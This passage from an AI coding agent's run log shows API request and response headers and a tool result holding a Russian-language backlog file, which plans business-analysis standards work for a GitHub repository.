\u043d\u0430\u0445\u043e\u0434\u043a\u0430 F2 [\u0430\u043d\u0430\u043b\u0438\u0437\u0430](../docs/analysis/2026-09-03-ai-rules-compliance-failure-root-cause.md) | \u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u044c [`standards/contract-documentation-standard.md`](../standards/contract-documentation-standard.md) \u0438 [`ops/repo-model.md`](repo-model.md) \u044f\u0432\u043d\u044b\u043c \u0434\u043e\u043c\u043e\u043c \u0434\u043b\u044f \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u043a\u043b\u0430\u0441\u0441\u0430 \u00ab\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u00bb: \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0444\u043e\u0440\u043c\u0443, \u043d\u043e \u043d\u0435 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441 \u00ab\u0433\u0434\u0435 \u043e\u043d \u0436\u0438\u0432\u0451\u0442\u00bb, \u0438 \u0438\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u043e\u0442 \u043f\u0440\u043e\u0431\u0435\u043b \u043f\u043e\u0440\u043e\u0434\u0438\u043b `docs/contracts/` \u0432 \u041c\u0430\u043d\u0433\u043e. \u0417\u0430\u0434\u0430\u0447\u0430 \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u0430 \u0438\u0437 `B-112` \u043f\u0440\u0438 \u0435\u0451 \u043e\u0442\u043c\u0435\u043d\u0435: \u0441\u0430\u043c\u0430 \u043d\u0430\u0445\u043e\u0434\u043a\u0430 \u043e\u0442\u043d\u043e\u0441\u0438\u043b\u0430\u0441\u044c \u043a \u043d\u043e\u0440\u043c\u0435 \u0425\u0430\u0431\u0430 \u0438 \u043f\u0435\u0440\u0435\u0436\u0438\u0432\u0430\u0435\u0442 \u0430\u0440\u0445\u0438\u0432\u0430\u0446\u0438\u044e `mango_ba_prompts`, \u0430 \u0431\u0435\u0437 \u043e\u0442\u0432\u0435\u0442\u0430 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441 \u043e \u0434\u043e\u043c\u0435 \u0442\u043e\u0442 \u0436\u0435 \u0441\u0431\u043e\u0439 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0451\u0442\u0441\u044f \u0432 `mango-ba-ai-runtime` \u043f\u0440\u0438 \u043f\u0435\u0440\u0432\u043e\u043c \u0436\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 BCREQ (`B-172`). | Structured |\\n252:\u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 MVP-\u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 BCREQ \u0432 `mango-ba-ai-runtime` \u2014 \u0442\u043e \u0435\u0441\u0442\u044c \u0437\u0430\u043a\u0440\u044b\u0442 `B-173` \u0421\u043f\u0440\u0438\u043d\u0442\u0430 19.\\n262:`mango_ba_prompts` \u0441\u043e \u0441\u0442\u0430\u0442\u0443\u0441\u043e\u043c `draft`, \u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0432\u0451\u0440\u043d\u0443\u0442\u043e (81 \u0441\u0441\u044b\u043b\u043a\u0430 \u0438\u0437 \u041c\u0430\u043d\u0433\u043e \u0432 \u0425\u0430\u0431 \u043f\u0440\u043e\u0442\u0438\u0432\\n286:| **B-121** | \u0421\u043b\u043e\u0439 `L0`: \u0440\u0435\u0435\u0441\u0442\u0440 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0431\u0430\u0437\u044b \u0411\u0410 | **P1** | \u2014 | deferred (icebox) | [#557](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/557) | [\u0420\u0430\u043c\u043a\u0430 \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u0438, \u00a72 10-theory.md](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/10-theory.md) | \u0417\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u043b\u043e\u0439 `L0` \u043a\u0430\u043a \u0440\u0435\u0435\u0441\u0442\u0440 \u043d\u043e\u0440\u043c \u0441 \u0432\u0435\u0440\u0441\u0438\u044f\u043c\u0438 \u0438 \u0441\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c\u0438 URL: BABOK v3, [ISO/IEC/IEEE 29148:2018](https://www.iso.org/standard/72089.html), [ISO/IEC 25010:2023](https://www.iso.org/standard/78176.html), [\u0413\u041e\u0421\u0422 34.602-2020](https://docs.cntd.ru/document/1200181804). \u041f\u0440\u0430\u0432\u0438\u043b\u0430 \u0441\u0432\u0435\u0440\u043a\u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432 \u0437\u0430\u0438\u043c\u0441\u0442\u0432\u0443\u044e\u0442\u0441\u044f \u0438\u0437 [`standards/industry-standards-standard.md`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/standards/industry-standards-standard.md) Mango (`\u04181`\u2013`\u04186`), \u0430 \u043d\u0435 \u0438\u0437\u043e\u0431\u0440\u0435\u0442\u0430\u044e\u0442\u0441\u044f \u0437\u0430\u043d\u043e\u0432\u043e. \u0420\u0435\u0435\u0441\u0442\u0440 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043d\u0430\u0441\u043b\u0435\u0434\u0443\u0435\u0442\u0441\u044f, \u0438 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u044f\u043a\u043e\u0440\u0435\u043c \u0434\u043b\u044f \u043f\u0440\u0430\u0432\u0438\u043b\u0430 `D2` (\u0434\u0435\u043b\u044c\u0442\u0430 \u0431\u0435\u0437 \u044f\u043a\u043e\u0440\u044f \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u0430). **\u041e\u0442\u043b\u043e\u0436\u0435\u043d\u043e \u043f\u043e issue #583 (Icebox):** \u0442\u0440\u0438\u0433\u0433\u0435\u0440 \u2014 \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u043f\u0435\u0440\u0432\u044b\u0445 MVP-\u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 BCREQ \u0432 `mango-ba-ai-runtime`; \u0434\u043e \u043d\u0438\u0445 \u043a\u0430\u0441\u043a\u0430\u0434 \u043d\u0435 \u0443\u0441\u043b\u043e\u0436\u043d\u044f\u0435\u0442\u0441\u044f. | Structured |\\n287:| **B-122** | \u0421\u043b\u043e\u0439 `L1`: \u0434\u0435\u043b\u044c\u0442\u0430 \u0418\u0422-\u0442\u0435\u043b\u0435\u043a\u043e\u043c (eTOM, ODA, SID) | **P1** | B-121 | deferred (icebox) | [#557](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/557) | [\u0420\u0435\u0435\u0441\u0442\u0440 \u0440\u0430\u0437\u0440\u044b\u0432\u043e\u0432, `G-08`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/30-decision-framework.md) | **\u041a\u043b\u044e\u0447\u0435\u0432\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430 \u043a\u0430\u0441\u043a\u0430\u0434\u0430: \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044e\u0449\u0438\u0439 \u0440\u0430\u0437\u0440\u044b\u0432 `G-08`.** \u041e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u043e\u0439 \u0441\u043b\u043e\u0439 \u043c\u0435\u0436\u0434\u0443 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0431\u0430\u0437\u043e\u0439 \u0411\u0410 \u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430\u043c\u0438 \u041c\u0430\u043d\u0433\u043e \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0438 \u2014 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043e \u0438\u043d\u0432\u0435\u043d\u0442\u0430\u0440\u0438\u0437\u0430\u0446\u0438\u0435\u0439. \u0421\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435: \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0434\u043e\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u0442 \u0435\u0433\u043e \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u0438 \u0440\u0430\u0437\u043e\u0432\u043e, \u0447\u0442\u043e \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0432 \u0440\u0430\u0437\u0431\u043e\u0440\u0435 [RUN-0064](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/runs/2026/RUN-0064/reports/error-analysis.md), \u0433\u0434\u0435 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 eTOM Fulfillment/Assurance \u043f\u0440\u0438\u0432\u043b\u0435\u0447\u0435\u043d\u044b ad hoc. \u041e\u043f\u0438\u0441\u0430\u0442\u044c \u0434\u0435\u043b\u044c\u0442\u0443 \u0418\u0422-\u0442\u0435\u043b\u0435\u043a\u043e\u043c \u043a `L0` \u043f\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u0430\u043c `D1`\u2013`D5`: \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0442\u043b\u0438\u0447\u0438\u044f, \u0441 \u044f\u043a\u043e\u0440\u0435\u043c \u043d\u0430 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043f\u0443\u043d\u043a\u0442 `L0`, \u0447\u0435\u0442\u044b\u0440\u044c\u043c\u044f \u0442\u0438\u043f\u0430\u043c\u0438 \u0434\u0435\u043b\u044c\u0442\u044b \u0438 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u043c \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0435\u043c. \u0422\u0440\u0435\u0431\u0443\u0435\u0442 \u043e\u0442\u0432\u0435\u0442\u0430 \u0444\u0430\u0443\u043d\u0434\u0435\u0440\u0430 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441 `Q-1`. **\u041e\u0442\u043b\u043e\u0436\u0435\u043d\u043e \u043f\u043e issue #583 (Icebox):** \u0442\u0440\u0438\u0433\u0433\u0435\u0440 \u2014 \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u043f\u0435\u0440\u0432\u044b\u0445 MVP-\u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 BCREQ \u0432 `mango-ba-ai-runtime`; \u0434\u043e \u043d\u0438\u0445 \u043a\u0430\u0441\u043a\u0430\u0434 \u043d\u0435 \u0443\u0441\u043b\u043e\u0436\u043d\u044f\u0435\u0442\u0441\u044f. | Creative |\\n288:| **B-123** | \u0421\u043b\u043e\u0439 `L2`: \u043f\u0435\u0440\u0435\u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043f\u0440\u0430\u0432\u0438\u043b \u041c\u0430\u043d\u0433\u043e \u043a\u0430\u043a \u0434\u0435\u043b\u044c\u0442\u044b | **P1** | B-121, B-122 | deferred (icebox) | [#557](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/557) | [\u041e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u043d\u0430 \u0441\u043b\u043e\u0438, \u00a73 20-taxonomy.md](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/20-taxonomy.md) | \u0420\u0430\u0437\u043c\u0435\u0442\u0438\u0442\u044c \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u044b \u041c\u0430\u043d\u0433\u043e ([`bcreq-process-standard.md`](https://github.com/G-Ivan-A/mango_ba\",\n[2026-09-29T07:43:50.982Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:43:50.982Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:43:50.982Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:43:50.982Z] [INFO]     \"noOutputExpected\": false,\n[2026-09-29T07:43:50.982Z] [INFO]     \"persistedOutputPath\": \"/home/box/.claude/projects/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tool-results/bl97cs6yp.txt\",\n[2026-09-29T07:43:50.982Z] [INFO]     \"persistedOutputSize\": 53716\n[2026-09-29T07:43:50.982Z] [INFO]   }\n[2026-09-29T07:43:50.982Z] [INFO] }\n[2026-09-29T07:43:51.012Z] [STDOUT] [log_82d83f] sending request {\n[2026-09-29T07:43:51.016Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:43:51.020Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:43:51.024Z] [STDOUT]   options: {\n[2026-09-29T07:43:51.026Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:43:51.030Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:43:51.034Z] [STDOUT]     body: {\n[2026-09-29T07:43:51.036Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:43:51.040Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:43:51.046Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:43:51.052Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:43:51.055Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:43:51.061Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:43:51.064Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:43:51.067Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:43:51.069Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:43:51.072Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:43:51.077Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:43:51.082Z] [STDOUT]       stream: true,\n[2026-09-29T07:43:51.085Z] [STDOUT]     },\n[2026-09-29T07:43:51.091Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:43:51.095Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:43:51.102Z] [STDOUT]       aborted: false,\n[2026-09-29T07:43:51.107Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:43:51.111Z] [STDOUT]       onabort: null,\n[2026-09-29T07:43:51.115Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:43:51.123Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:43:51.126Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:43:51.129Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:43:51.134Z] [STDOUT]     },\n[2026-09-29T07:43:51.138Z] [STDOUT]     stream: true,\n[2026-09-29T07:43:51.140Z] [STDOUT]   },\n[2026-09-29T07:43:51.142Z] [STDOUT]   headers: {\n[2026-09-29T07:43:51.145Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:43:51.148Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:43:51.152Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:43:51.155Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:43:51.160Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:43:51.163Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:43:51.166Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:43:51.169Z] [STDOUT]     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\"date\": \"Tue, 29 Sep 2026 07:43:51 GMT\",\n[2026-09-29T07:43:51.968Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:43:51.972Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:43:51.977Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:43:51.980Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:43:51.982Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:43:51.985Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:43:51.989Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:43:51.993Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:43:51.996Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:43:52.000Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:43:52.003Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:43:52.006Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:43:52.008Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:43:52.012Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:43:52.017Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:43:52.023Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:43:52.026Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:43:52.032Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:43:52.035Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:43:52.040Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:43:52.045Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:43:52.048Z] [STDOUT]   \"request-id\": \"req_011CfXMdr1rQYnHPtFqDd45B\",\n[2026-09-29T07:43:52.055Z] [STDOUT]   \"traceresponse\": \"00-906245eea81ac3b65827eb559299a242-421b3804522c83dc-01\",\n[2026-09-29T07:43:52.059Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:43:52.063Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:43:52.067Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:43:52.072Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:43:52.075Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:43:52.078Z] [STDOUT]   \"cf-ray\": \"a4295bf7df554d8b-FRA\",\n[2026-09-29T07:43:52.080Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:43:52.082Z] [STDOUT] [log_82d83f] response parsed {\n[2026-09-29T07:43:52.085Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:43:52.088Z] [STDOUT]   status: 200,\n[2026-09-29T07:43:52.091Z] [STDOUT]   body: X {\n[2026-09-29T07:43:52.095Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:43:52.099Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:43:52.103Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:43:52.109Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:43:52.112Z] [STDOUT]     },\n[2026-09-29T07:43:52.118Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:43:52.123Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:43:52.126Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:43:52.131Z] [STDOUT]   },\n[2026-09-29T07:43:52.137Z] [STDOUT]   durationMs: 832,\n[2026-09-29T07:43:52.141Z] [STDOUT] }\n[2026-09-29T07:43:53.329Z] [INFO] {\n[2026-09-29T07:43:53.329Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:43:53.329Z] [INFO] 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\"wire_ingest_context\": {\n[2026-09-29T07:43:53.329Z] [INFO]     \"toolu_015eK42wdwxbmLone1rExWdS\": {\n[2026-09-29T07:43:53.329Z] [INFO]       \"cwd\": \"/tmp/gh-issue-solver-1790667776920\"\n[2026-09-29T07:43:53.329Z] [INFO]     }\n[2026-09-29T07:43:53.329Z] [INFO]   }\n[2026-09-29T07:43:53.329Z] [INFO] }\n[2026-09-29T07:43:54.421Z] [INFO] {\n[2026-09-29T07:43:54.421Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:43:54.421Z] [INFO]   \"message\": {\n[2026-09-29T07:43:54.421Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:43:54.421Z] [INFO]     \"content\": [\n[2026-09-29T07:43:54.421Z] [INFO]       {\n[2026-09-29T07:43:54.421Z] [INFO]         \"tool_use_id\": \"toolu_015eK42wdwxbmLone1rExWdS\",\n[2026-09-29T07:43:54.421Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:43:54.421Z] [INFO]         \"content\": \"---\\n\\n---\\nstatus: canonical\\nversion: 1.68\\nupdated: 2026-09-29\\ntemperature: 0.1\\ntype: backlog\\ncontext: [governance, backlog, active-sprints, pr-ops, synchronization]\\nmethod: creative-analysis + dependency-mapping\\nscope: repo-wide\\nrelated_artifacts:\\n  - \\\"ops/backlog-instruction.md\\\"\\n  - \\\"ops/artifact-map.md\\\"\\n  - \\\"ops/repo-model.md\\\"\\n  - \\\"standards/glossary.md\\\"\\n  - \\\"standards/audit-standard.md\\\"\\n  - \\\"docs/analysis/2026-06-30-backlog-and-artifact-change-policy-analysis.md\\\"\\n  - \\\"docs/analysis/2026-07-04-kb-runs-hub-applicability-analysis.md\\\"\\n  - \\\"docs/adr/2026-07-adr-007-hub-root-structure.md\\\"\\n  - \\\"docs/adr/2026-07-adr-008-standard-meta-structure.md\\\"\\n  - \\\"standards/standard-meta-structure.md\\\"\\n  - \\\"docs/audit/2026-07-04-cross-standard-stress-tests.md\\\"\\n  - \\\"research/hub/2026-07-04-hub-as-agent-system-global-analysis.md\\\"\\n  - \\\"docs/rfc/2026-08-06-rfc-task-statement-architecture.md\\\"\\n  - \\\"docs/rfc/2026-08-25-rfc-ba-artifact-pipeline-rrp-roadmap.md\\\"\\n  - \\\"research/ba-requirements/2026-08-26-m0-m2-layering-hypothesis-check.md\\\"\\n  - \\\"research/ba-requirements/exp/ba-artifact-pipeline-roadmap-541/README.md\\\"\\n  - \\\"research/ba-requirements/normalization/00-introduction.md\\\"\\n  - \\\"research/ba-requirements/methodology-unification/00-introduction.md\\\"\\n  - \\\"research/ba-requirements/2026-09-07-ecosystem-knowledge-inventory.md\\\"\\n  - \\\"research/hub/2026-07-31-ops-task-strategy-validation.md\\\"\\n  - \\\"tools/test-post-migration-validator.sh\\\"\\n  - \\\"LICENSE\\\"\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/580\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/396\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/392\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/297\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/294\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/296\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/328\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/370\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/374\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/376\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/380\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/386\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/390\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/394\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/398\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/400\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/402\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/411\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/413\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/419\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/417\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/427\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/434\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/423\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/436\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/437\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/449\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/475\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/511\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/515\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/555\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/575\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/583\\\"\\n---\\n\\n# BACKLOG - \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0435 \u0441\u043f\u0440\u0438\u043d\u0442\u044b \u0425\u0430\u0431\u0430\\n\\n\u042d\u0442\u043e\u0442 \u0444\u0430\u0439\u043b \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0435\u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0435 \u0437\u0430\u0434\u0430\u0447\u0438 \u0438 \u0438\u0445 \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043f\u043e\u0440\u044f\u0434\u043e\u043a.\\n\u041f\u0440\u0430\u0432\u0438\u043b\u0430 \u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0431\u044d\u043a\u043b\u043e\u0433\u0430 \u0432\u044b\u043d\u0435\u0441\u0435\u043d\u044b \u0432\\n[backlog-instruction.md](backlog-instruction.md).\\n\\n\u0417\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0435 \u0437\u0430\u0434\u0430\u0447\u0438 \u0443\u0434\u0430\u043b\u044f\u044e\u0442\u0441\u044f \u0438\u0437 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0431\u044d\u043a\u043b\u043e\u0433\u0430 \u043f\u043e\u0441\u043b\u0435 \u0430\u0440\u0445\u0438\u0432\u0430\u0446\u0438\u0438 \u0441\u043f\u0440\u0438\u043d\u0442\u0430.\\n\u0418\u0441\u0442\u043e\u0440\u0438\u044f \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 GitHub Issues/PR, 